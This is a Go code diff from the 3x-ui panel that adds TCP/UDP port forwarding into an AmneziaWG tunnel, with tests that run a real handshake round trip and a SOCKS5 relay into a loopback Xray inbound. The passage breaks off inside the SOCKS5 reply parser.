+type tcpForwardListener struct {
+	ln      net.Listener
+	closing chan struct{}
+}
+
+// listenPortForwardTCP opens a host-facing TCP listener on key.port and
+// starts relaying accepted connections into the tunnel toward
+// target(key.email). A bind failure (most commonly EADDRINUSE, whether from
+// an unrelated process or another AmneziaWG peer/inbound that already
+// claimed the same port) is logged and returns nil; Reconcile treats a nil
+// result as "not open this round" and retries on every future Reconcile
+// call for as long as the key stays desired.
+func listenPortForwardTCP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *tcpForwardListener {
+	ln, err := (&net.ListenConfig{}).Listen(context.Background(), "tcp", fmt.Sprintf(":%d", key.port))
+	if err != nil {
+		logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen tcp :%d: %v", inboundID, key.email, key.port, err)
+		return nil
+	}
+	l := &tcpForwardListener{ln: ln, closing: make(chan struct{})}
+	logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening tcp :%d", inboundID, key.email, key.port)
+	go l.acceptLoop(gstack, inboundID, key, target)
+	return l
+}
+
+func (l *tcpForwardListener) acceptLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+	for {
+		conn, err := l.ln.Accept()
+		if err != nil {
+			select {
+			case <-l.closing:
+				return // intentional shutdown, not a real accept error
+			default:
+			}
+			logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: accept tcp :%d: %v", inboundID, key.email, key.port, err)
+			return
+		}
+		go relayTCPForward(gstack, conn, inboundID, key, target)
+	}
+}
+
+func relayTCPForward(gstack *stack.Stack, conn net.Conn, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+	defer conn.Close()
+	addr, ok := target(key.email)
+	if !ok {
+		return
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), portForwardDialTimeout)
+	defer cancel()
+	tunnelConn, err := gonet.DialContextTCP(ctx, gstack, tunnelFullAddress(addr, key.port), tunnelNetwork(addr))
+	if err != nil {
+		logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
+		return
+	}
+	defer tunnelConn.Close()
+
+	done := make(chan struct{}, 2)
+	go func() { _, _ = io.Copy(tunnelConn, conn); done <- struct{}{} }()
+	go func() { _, _ = io.Copy(conn, tunnelConn); done <- struct{}{} }()
+	<-done
+}
+
+// Close stops accepting new connections. Already-relaying connections are
+// left to finish on their own -- there's no shared state to tear down early
+// for, and an abrupt cut would just look like a network error to whichever
+// external client was mid-transfer.
+func (l *tcpForwardListener) Close() {
+	close(l.closing)
+	l.ln.Close()
+}

+ 417 - 0
internal/amneziawgnet/portfwd_test.go

@@ -0,0 +1,417 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+func peerWithPortsAndIPs(email, forwardedPorts string, ips ...string) amneziawg.Peer {
+	return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips, ForwardedPorts: forwardedPorts}
+}
+
+// --- desiredPeerTargets ---
+
+func TestDesiredPeerTargetsPrefersIPv4(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "10.8.1.2/32", "fd86::2/128"),
+	}}
+	got := desiredPeerTargets(inst)
+	addr, ok := got["a@x"]
+	if !ok || addr.String() != "10.8.1.2" {
+		t.Fatalf("desiredPeerTargets = %v, want a@x -> 10.8.1.2", got)
+	}
+}
+
+func TestDesiredPeerTargetsFallsBackToIPv6WhenEnabled(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
+	}}
+	got := desiredPeerTargets(inst)
+	addr, ok := got["a@x"]
+	if !ok || addr.String() != "fd86::2" {
+		t.Fatalf("desiredPeerTargets = %v, want a@x -> fd86::2", got)
+	}
+}
+
+func TestDesiredPeerTargetsSkipsIPv6OnlyWhenIPv6Disabled(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: false, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
+	}}
+	if got := desiredPeerTargets(inst); len(got) != 0 {
+		t.Fatalf("desiredPeerTargets = %v, want empty (IPv6-only peer, IPv6 disabled)", got)
+	}
+}
+
+func TestDesiredPeerTargetsSkipsPeerWithoutEmailOrAddress(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("", "", "10.8.1.2/32"), // no email
+		peerWithPortsAndIPs("b@x", ""),             // no AllowedIPs at all
+	}}
+	if got := desiredPeerTargets(inst); len(got) != 0 {
+		t.Fatalf("desiredPeerTargets = %v, want empty", got)
+	}
+}
+
+// --- desiredPortForwardKeys ---
+
+func TestDesiredPortForwardKeysEmptyWhenNoForwardedPorts(t *testing.T) {
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "10.8.1.2/32"),
+	}}
+	if got := desiredPortForwardKeys(inst); len(got) != 0 {
+		t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
+	}
+}
+
+func TestDesiredPortForwardKeysEmptyWhenNoResolvableTarget(t *testing.T) {
+	// ForwardedPorts is set, but the peer has no AllowedIPs to resolve a
+	// target from -- must not produce keys for a peer nothing can dial.
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		{Email: "a@x", ForwardedPorts: "8080"},
+	}}
+	if got := desiredPortForwardKeys(inst); len(got) != 0 {
+		t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
+	}
+}
+
+func TestDesiredPortForwardKeysOneTCPAndUDPKeyPerPort(t *testing.T) {
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "8080,8081", "10.8.1.2/32"),
+	}}
+	got := desiredPortForwardKeys(inst)
+	if len(got) != 4 {
+		t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 ports x 2 protocols)", got)
+	}
+	for _, port := range []int{8080, 8081} {
+		for _, proto := range []portForwardProto{tcpForward, udpForward} {
+			key := portForwardKey{email: "a@x", port: port, proto: proto}
+			if _, ok := got[key]; !ok {
+				t.Errorf("desiredPortForwardKeys missing %+v", key)
+			}
+		}
+	}
+}
+
+func TestDesiredPortForwardKeysMultiplePeersDoNotMix(t *testing.T) {
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "8080", "10.8.1.2/32"),
+		peerWithPortsAndIPs("b@x", "8080", "10.8.1.3/32"), // same port, different peer
+	}}
+	got := desiredPortForwardKeys(inst)
+	if len(got) != 4 {
+		t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 peers x 2 protocols, same port kept separate per email)", got)
+	}
+}
+
+// --- PortForwardSet.Reconcile: real stack, no handshake needed (dialing
+// isn't exercised by these -- only the host-facing listener lifecycle) ---
+
+func newTestStack(t *testing.T, addr string) *stack.Stack {
+	t.Helper()
+	tunDev, gstack, err := createNetTUNWithStack([]netip.Addr{netip.MustParseAddr(addr)}, 1420)
+	if err != nil {
+		t.Fatalf("createNetTUNWithStack: %v", err)
+	}
+	t.Cleanup(func() { tunDev.Close() })
+	return gstack
+}
+
+func dialLoopback(t *testing.T, network string, port int) {
+	t.Helper()
+	conn, err := net.DialTimeout(network, fmt.Sprintf("127.0.0.1:%d", port), time.Second)
+	if err != nil {
+		t.Fatalf("dial 127.0.0.1:%d (%s): %v", port, network, err)
+	}
+	conn.Close()
+}
+
+func TestPortForwardSetReconcileOpensAndClosesListeners(t *testing.T) {
+	gs := newTestStack(t, "10.211.0.1")
+	set := NewPortForwardSet(gs, 501)
+
+	const port = 58910
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", fmt.Sprintf("%d", port), "10.211.0.2/32"),
+	}}
+
+	set.Reconcile(inst)
+	set.mu.Lock()
+	n := len(set.listeners)
+	set.mu.Unlock()
+	if n != 2 {
+		t.Fatalf("listeners after Reconcile = %d, want 2 (tcp+udp)", n)
+	}
+	dialLoopback(t, "tcp", port) // proves a real host listener is actually bound
+
+	set.mu.Lock()
+	tcpBefore := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
+	set.mu.Unlock()
+
+	// Reconciling again with an unchanged instance must not close and
+	// reopen an unaffected listener.
+	set.Reconcile(inst)
+	set.mu.Lock()
+	tcpAfter := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
+	set.mu.Unlock()
+	if tcpBefore != tcpAfter {
+		t.Error("Reconcile with an unchanged instance replaced an unaffected listener")
+	}
+
+	// Peer removed entirely -> both listeners close.
+	set.Reconcile(amneziawg.Instance{})
+	set.mu.Lock()
+	n = len(set.listeners)
+	set.mu.Unlock()
+	if n != 0 {
+		t.Fatalf("listeners after removal Reconcile = %d, want 0", n)
+	}
+	if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", port), time.Second); err == nil {
+		t.Error("port still accepting connections after the listener should have closed")
+	}
+}
+
+func TestPortForwardSetReconcileSurvivesPreBoundPort(t *testing.T) {
+	gs := newTestStack(t, "10.211.1.1")
+	set := NewPortForwardSet(gs, 502)
+
+	const collidingPort = 58911
+	const okPort = 58912
+	blocker, err := net.Listen("tcp", fmt.Sprintf(":%d", collidingPort))
+	if err != nil {
+		t.Fatalf("pre-bind test port: %v", err)
+	}
+	defer blocker.Close()
+
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", fmt.Sprintf("%d,%d", collidingPort, okPort), "10.211.1.2/32"),
+	}}
+
+	// Must not panic despite one of the two ports being unbindable, and the
+	// other port (and its UDP counterpart on the colliding port) must still
+	// open normally.
+	set.Reconcile(inst)
+	set.mu.Lock()
+	n := len(set.listeners)
+	_, tcpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: tcpForward}]
+	_, udpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: udpForward}]
+	set.mu.Unlock()
+	if n != 3 {
+		t.Fatalf("listeners after Reconcile with one pre-bound port = %d, want 3 (4 desired minus the 1 that couldn't bind)", n)
+	}
+	if tcpCollidingOpen {
+		t.Error("TCP listener on the pre-bound port opened despite the real bind conflict")
+	}
+	if !udpCollidingOpen {
+		t.Error("UDP listener on the colliding port's own number should still open (TCP and UDP binds are independent)")
+	}
+	dialLoopback(t, "tcp", okPort)
+
+	set.Close()
+}
+
+// --- Real round trip: a genuine amneziawg-go client handshakes against a
+// real server Device, PortForwardSet opens a real host listener, and a real
+// external-side dial (this test's own process) round-trips bytes through
+// the actual encrypted tunnel to a service listening on the client's own
+// netstack -- proving the full path, not just the listener bookkeeping
+// above. Modeled closely on device_test.go's
+// TestNewDeviceHandshakeForwarderAndIdentity.
+func TestPortForwardRoundTripTCPAndUDP(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58920 // fixed loopback test port, matches this package's existing test convention
+	const tcpPort = 58921
+	const udpPort = 58922
+	const clientAddr = "10.202.0.2"
+
+	inst := amneziawg.Instance{
+		Id:            5,
+		InterfaceName: "awgtest5",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{
+				Email:          "client@test",
+				PublicKey:      clientPub,
+				AllowedIPs:     []string{clientAddr + "/32"},
+				ForwardedPorts: fmt.Sprintf("%d,%d", tcpPort, udpPort),
+			},
+		},
+	}
+
+	dev, err := NewDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("NewDevice: %v", err)
+	}
+	defer dev.Close()
+
+	set := NewPortForwardSet(dev.Stack, inst.Id)
+	set.Reconcile(inst)
+	defer set.Close()
+
+	// Real amneziawg-go client, same recipe as device_test.go.
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr(clientAddr)},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	// Prime the handshake before exercising the actual port forwards below.
+	// The server only learns the client's real (roaming) endpoint from a
+	// packet the client sends it -- buildUAPIConfig never configures an
+	// endpoint= for a peer server-side (see device.go), and the server has
+	// no route to initiate a handshake toward an endpoint it doesn't know --
+	// so without this, relayTCPForward's own dial toward the client races a
+	// handshake that can never even start server-side and fails outright.
+	// A throwaway client dial toward nothing in particular is enough:
+	// queuing any outbound packet triggers amneziawg-go's own automatic
+	// handshake initiation regardless of whether the dial itself ever
+	// succeeds (nothing server-side is listening for it), so this loop
+	// deliberately ignores the dial's own outcome and just gives the
+	// handshake a few real attempts to complete in the background.
+	primeCtx, primeCancel := context.WithTimeout(context.Background(), 3*time.Second)
+	defer primeCancel()
+	for {
+		if conn, dialErr := clientNet.DialContext(primeCtx, "tcp", "10.202.9.9:9999"); dialErr == nil {
+			conn.Close()
+		}
+		select {
+		case <-primeCtx.Done():
+			goto primed
+		case <-time.After(200 * time.Millisecond):
+		}
+	}
+primed:
+
+	// A real service on the client's own netstack -- what a real forwarded
+	// port is ultimately supposed to reach.
+	tcpSvc, err := clientNet.ListenTCPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, tcpPort)))
+	if err != nil {
+		t.Fatalf("client ListenTCP: %v", err)
+	}
+	defer tcpSvc.Close()
+	go func() {
+		for {
+			c, err := tcpSvc.Accept()
+			if err != nil {
+				return
+			}
+			go func() { io.Copy(c, c); c.Close() }()
+		}
+	}()
+
+	udpSvc, err := clientNet.ListenUDPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, udpPort)))
+	if err != nil {
+		t.Fatalf("client ListenUDP: %v", err)
+	}
+	defer udpSvc.Close()
+	go func() {
+		buf := make([]byte, 1500)
+		for {
+			n, addr, err := udpSvc.ReadFrom(buf)
+			if err != nil {
+				return
+			}
+			udpSvc.WriteTo(buf[:n], addr)
+		}
+	}()
+
+	// Retry the TCP dial rather than guessing a fixed handshake delay --
+	// the handshake happens lazily on first real traffic.
+	const wantTCP = "port-forward tcp round trip"
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var tcpConn net.Conn
+	var lastErr error
+	for {
+		tcpConn, lastErr = net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", tcpPort), time.Second)
+		if lastErr == nil {
+			break
+		}
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("external TCP dial never succeeded: %v", lastErr)
+		case <-time.After(150 * time.Millisecond):
+		}
+	}
+	defer tcpConn.Close()
+	if _, err := tcpConn.Write([]byte(wantTCP)); err != nil {
+		t.Fatalf("write to forwarded TCP port: %v", err)
+	}
+	tcpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+	gotTCP := make([]byte, len(wantTCP))
+	if _, err := io.ReadFull(tcpConn, gotTCP); err != nil {
+		t.Fatalf("read echo from forwarded TCP port: %v", err)
+	}
+	if string(gotTCP) != wantTCP {
+		t.Errorf("TCP round trip = %q, want %q", gotTCP, wantTCP)
+	}
+
+	// UDP: the tunnel is already up (handshake completed above), so this
+	// can dial straight away.
+	const wantUDP = "port-forward udp round trip"
+	udpConn, err := net.DialTimeout("udp", fmt.Sprintf("127.0.0.1:%d", udpPort), time.Second)
+	if err != nil {
+		t.Fatalf("external UDP dial: %v", err)
+	}
+	defer udpConn.Close()
+	if _, err := udpConn.Write([]byte(wantUDP)); err != nil {
+		t.Fatalf("write to forwarded UDP port: %v", err)
+	}
+	udpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+	gotUDP := make([]byte, len(wantUDP))
+	if _, err := io.ReadFull(udpConn, gotUDP); err != nil {
+		t.Fatalf("read echo from forwarded UDP port: %v", err)
+	}
+	if string(gotUDP) != wantUDP {
+		t.Errorf("UDP round trip = %q, want %q", gotUDP, wantUDP)
+	}
+}

+ 147 - 0
internal/amneziawgnet/portfwd_udp.go

@@ -0,0 +1,147 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"net"
+	"net/netip"
+	"sync"
+	"time"
+
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// portForwardUDPIdleTimeout matches UDPRelay.pump's own idle window
+// (relay.go) -- both are "how long to keep a per-flow session alive with no
+// traffic before tearing it down," so there's no reason for the two
+// directions to disagree.
+const portForwardUDPIdleTimeout = 2 * time.Minute
+
+// udpForwardSession is one established flow from a single external source
+// address into the tunnel toward a peer -- conn is a connected gonet UDP
+// endpoint (DialUDP with a non-nil raddr), so plain Read/Write, not
+// ReadFrom/WriteTo, address it correctly.
+type udpForwardSession struct {
+	conn *gonet.UDPConn
+}
+
+// udpForwardListener is one open host-facing UDP socket for a single
+// portForwardKey, demultiplexing by external source address -- the mirror
+// image of AttachUDPHandler/UDPRelay, which demultiplex by tunnel-internal
+// source for the opposite direction. net.ListenPacket has no accept/session
+// model of its own, so this package tracks sessions itself here, the same
+// way UDPRelay already does in relay.go.
+type udpForwardListener struct {
+	pc net.PacketConn
+
+	mu       sync.Mutex
+	sessions map[netip.AddrPort]*udpForwardSession
+}
+
+// listenPortForwardUDP opens a host-facing UDP socket on key.port and
+// starts demultiplexing datagrams into per-source-address tunnel sessions
+// toward target(key.email). Bind-failure contract matches
+// listenPortForwardTCP exactly: log, return nil, Reconcile retries later.
+func listenPortForwardUDP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *udpForwardListener {
+	pc, err := (&net.ListenConfig{}).ListenPacket(context.Background(), "udp", fmt.Sprintf(":%d", key.port))
+	if err != nil {
+		logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen udp :%d: %v", inboundID, key.email, key.port, err)
+		return nil
+	}
+	l := &udpForwardListener{pc: pc, sessions: map[netip.AddrPort]*udpForwardSession{}}
+	logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening udp :%d", inboundID, key.email, key.port)
+	go l.readLoop(gstack, inboundID, key, target)
+	return l
+}
+
+func (l *udpForwardListener) readLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+	buf := make([]byte, 65536)
+	for {
+		n, from, err := l.pc.ReadFrom(buf)
+		if err != nil {
+			return // closed
+		}
+		src, ok := udpAddrPort(from)
+		if !ok {
+			continue
+		}
+
+		l.mu.Lock()
+		sess, exists := l.sessions[src]
+		l.mu.Unlock()
+
+		if !exists {
+			addr, ok := target(key.email)
+			if !ok {
+				continue
+			}
+			raddr := tunnelFullAddress(addr, key.port)
+			conn, err := gonet.DialUDP(gstack, nil, &raddr, tunnelNetwork(addr))
+			if err != nil {
+				logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
+				continue
+			}
+			sess = &udpForwardSession{conn: conn}
+			l.mu.Lock()
+			l.sessions[src] = sess
+			l.mu.Unlock()
+			go l.pump(src, sess)
+		}
+		// buf is reused by the next ReadFrom the instant this loop continues,
+		// so the session's own goroutine can't be handed a slice into it --
+		// Write copies synchronously here, on this goroutine, before that
+		// can happen, so no copy of the payload is needed.
+		if _, err := sess.conn.Write(buf[:n]); err != nil {
+			logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: write tunnel: %v", inboundID, key.email, err)
+		}
+	}
+}
+
+// pump reads replies from sess and writes them back to the external source
+// src until the session errors out or goes idle, mirroring UDPRelay.pump's
+// exact structure (relay.go) for the opposite direction.
+func (l *udpForwardListener) pump(src netip.AddrPort, sess *udpForwardSession) {
+	defer func() {
+		l.mu.Lock()
+		delete(l.sessions, src)
+		l.mu.Unlock()
+		sess.conn.Close()
+	}()
+	buf := make([]byte, 65536)
+	for {
+		_ = sess.conn.SetReadDeadline(time.Now().Add(portForwardUDPIdleTimeout))
+		n, err := sess.conn.Read(buf)
+		if err != nil {
+			return
+		}
+		if _, err := l.pc.WriteTo(buf[:n], net.UDPAddrFromAddrPort(src)); err != nil {
+			return
+		}
+	}
+}
+
+// Close tears down every open session and the underlying socket.
+func (l *udpForwardListener) Close() {
+	l.mu.Lock()
+	sessions := l.sessions
+	l.sessions = map[netip.AddrPort]*udpForwardSession{}
+	l.mu.Unlock()
+	for _, sess := range sessions {
+		sess.conn.Close()
+	}
+	l.pc.Close()
+}
+
+// udpAddrPort extracts a netip.AddrPort from a net.Addr returned by
+// net.ListenPacket's ReadFrom -- always a *net.UDPAddr in practice for a
+// "udp" network listener, but handled defensively rather than assumed.
+func udpAddrPort(addr net.Addr) (netip.AddrPort, bool) {
+	udpAddr, ok := addr.(*net.UDPAddr)
+	if !ok {
+		return netip.AddrPort{}, false
+	}
+	return udpAddr.AddrPort(), true
+}

+ 389 - 0
internal/amneziawgnet/relay.go

@@ -0,0 +1,389 @@
+// Phase 2: relaying a recovered tunnel connection into Xray's own,
+// completely stock SOCKS5 inbound -- authenticating as the owning peer's
+// email -- is what gives every embedded AmneziaWG connection real, native
+// Xray stats/routing/sniffing with no Xray-core fork at all (Finding 3 of
+// the migration plan: a stock SOCKS5 inbound sets its per-connection stats
+// identity directly from the SOCKS5 auth username).
+package amneziawgnet
+
+import (
+	"context"
+	"encoding/binary"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"sync"
+	"time"
+
+	"golang.org/x/net/proxy"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// SocksRelay describes the loopback SOCKS5 inbound decapsulated AmneziaWG
+// traffic gets relayed into.
+type SocksRelay struct {
+	// Addr is the SOCKS5 inbound's own address, e.g. "127.0.0.1:11500".
+	Addr string
+	// Password is shared across every account. This traffic never leaves
+	// loopback, so the password is not a real secrecy boundary -- it only
+	// needs to satisfy Xray's SOCKS5 inbound requiring *some* username/
+	// password auth before it will accept a connection and use the
+	// username as the stats identity. Document this reasoning wherever a
+	// caller generates or displays it, so it's never mistaken later for a
+	// real credential.
+	Password string
+}
+
+// SocksInboundSettings builds the JSON `settings` block for a stock Xray
+// SOCKS5 inbound with one username/password account per email, all sharing
+// password (see SocksRelay's doc comment). udp:true is required: RelayUDP
+// depends on the inbound accepting UDP ASSOCIATE, not just CONNECT.
+func SocksInboundSettings(emails []string, password string) ([]byte, error) {
+	type account struct {
+		User string `json:"user"`
+		Pass string `json:"pass"`
+	}
+	settings := struct {
+		Auth     string    `json:"auth"`
+		UDP      bool      `json:"udp"`
+		Accounts []account `json:"accounts"`
+	}{Auth: "password", UDP: true}
+	for _, email := range emails {
+		settings.Accounts = append(settings.Accounts, account{User: email, Pass: password})
+	}
+	return json.Marshal(settings)
+}
+
+// RelayTCP dials r.Addr, authenticates as email, issues a SOCKS5 CONNECT to
+// dest, and pipes bytes both ways until either side closes or errors.
+// Blocks until the relay ends; meant to be called from (or as) an
+// AttachTCPForwarder handler, which already runs each connection on its own
+// goroutine.
+func (r SocksRelay) RelayTCP(conn *gonet.TCPConn, email string, dest netip.AddrPort) {
+	defer conn.Close()
+
+	auth := &proxy.Auth{User: email, Password: r.Password}
+	dialer, err := proxy.SOCKS5("tcp", r.Addr, auth, proxy.Direct)
+	if err != nil {
+		logger.Warningf("amneziawgnet: RelayTCP: build SOCKS5 dialer: %v", err)
+		return
+	}
+	upstream, err := dialer.Dial("tcp", dest.String())
+	if err != nil {
+		logger.Warningf("amneziawgnet: RelayTCP: SOCKS5 CONNECT to %s as %q: %v", dest, email, err)
+		return
+	}
+	defer upstream.Close()
+
+	done := make(chan struct{}, 2)
+	go func() { _, _ = io.Copy(upstream, conn); done <- struct{}{} }()
+	go func() { _, _ = io.Copy(conn, upstream); done <- struct{}{} }()
+	<-done
+}
+
+// socks5UDPSession is one established SOCKS5 UDP ASSOCIATE session: udpConn
+// is the actual socket packets are sent to (and replies read from); ctrl is
+// the TCP control connection that must stay open for the session's
+// lifetime -- per RFC 1928, closing it tears the association down.
+type socks5UDPSession struct {
+	ctrl    net.Conn
+	udpConn *net.UDPConn
+}
+
+// newSocks5UDPSession performs the SOCKS5 greeting, username/password auth,
+// and UDP ASSOCIATE request/reply by hand: golang.org/x/net/proxy's SOCKS5
+// client (used by RelayTCP above) only implements CONNECT, and xray-core's
+// own proxy/socks/client.go is written against its internal transport
+// types, not reusable as a standalone dialer -- so this is a small, direct,
+// from-the-RFC implementation rather than an existing library call.
+func newSocks5UDPSession(addr, user, password string) (*socks5UDPSession, error) {
+	dialer := net.Dialer{Timeout: 5 * time.Second}
+	ctrl, err := dialer.DialContext(context.Background(), "tcp", addr)
+	if err != nil {
+		return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 control connection: %w", err)
+	}
+	if err := socks5Handshake(ctrl, user, password); err != nil {
+		ctrl.Close()
+		return nil, err
+	}
+
+	// UDP ASSOCIATE, dst 0.0.0.0:0 ("I don't know my own source yet, and I
+	// don't need to specify one for a loopback relay").
+	if _, err := ctrl.Write([]byte{0x05, 0x03, 0x00, 0x01, 0, 0, 0, 0, 0, 0}); err != nil {
+		ctrl.Close()
+		return nil, fmt.Errorf("amneziawgnet: send UDP ASSOCIATE request: %w", err)
+	}
+	bind, err := readSocks5Reply(ctrl)
+	if err != nil {
+		ctrl.Close()
+		return nil, err
+	}
+
+	udpConn, err := net.DialUDP("udp", nil, net.UDPAddrFromAddrPort(bind))
+	if err != nil {
+		ctrl.Close()
+		return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 UDP relay endpoint %s: %w", bind, err)
+	}
+	return &socks5UDPSession{ctrl: ctrl, udpConn: udpConn}, nil
+}
+
+// socks5Handshake performs the version greeting and (if the server
+// requires it) username/password auth. Xray's SOCKS5 inbound with
+// auth:"password" always requires it; the no-auth branch exists so this
+// helper isn't silently wrong against a differently-configured server.
+func socks5Handshake(conn net.Conn, user, password string) error {
+	if _, err := conn.Write([]byte{0x05, 0x02, 0x00, 0x02}); err != nil {
+		return fmt.Errorf("amneziawgnet: send SOCKS5 greeting: %w", err)
+	}
+	var resp [2]byte
+	if _, err := io.ReadFull(conn, resp[:]); err != nil {
+		return fmt.Errorf("amneziawgnet: read SOCKS5 greeting reply: %w", err)
+	}
+	if resp[0] != 0x05 {
+		return fmt.Errorf("amneziawgnet: unexpected SOCKS5 version %d", resp[0])
+	}
+	switch resp[1] {
+	case 0x00: // no auth required
+		return nil
+	case 0x02: // username/password
+		req := make([]byte, 0, 3+len(user)+len(password))
+		req = append(req, 0x01, byte(len(user)))
+		req = append(req, user...)
+		req = append(req, byte(len(password)))
+		req = append(req, password...)
+		if _, err := conn.Write(req); err != nil {
+			return fmt.Errorf("amneziawgnet: send SOCKS5 auth: %w", err)
+		}
+		var authResp [2]byte
+		if _, err := io.ReadFull(conn, authResp[:]); err != nil {
+			return fmt.Errorf("amneziawgnet: read SOCKS5 auth reply: %w", err)
+		}
+		if authResp[1] != 0x00 {
+			return fmt.Errorf("amneziawgnet: SOCKS5 auth rejected (status %d)", authResp[1])
+		}
+		return nil
+	default:
+		return fmt.Errorf("amneziawgnet: SOCKS5 server offered unsupported auth method %d", resp[1])
+	}
+}
+
+// readSocks5Reply reads a SOCKS5 reply (the common format shared by CONNECT
+// and UDP ASSOCIATE replies) and returns its bound address.
+func readSocks5Reply(r io.Reader) (netip.AddrPort, error) {
+	var hdr [4]byte
+	if _, err := io.ReadFull(r, hdr[:]); err != nil {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply header: %w", err)
+	}
+	if hdr[0] != 0x05 {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: unexpected SOCKS5 reply version %d", hdr[0])
+	}
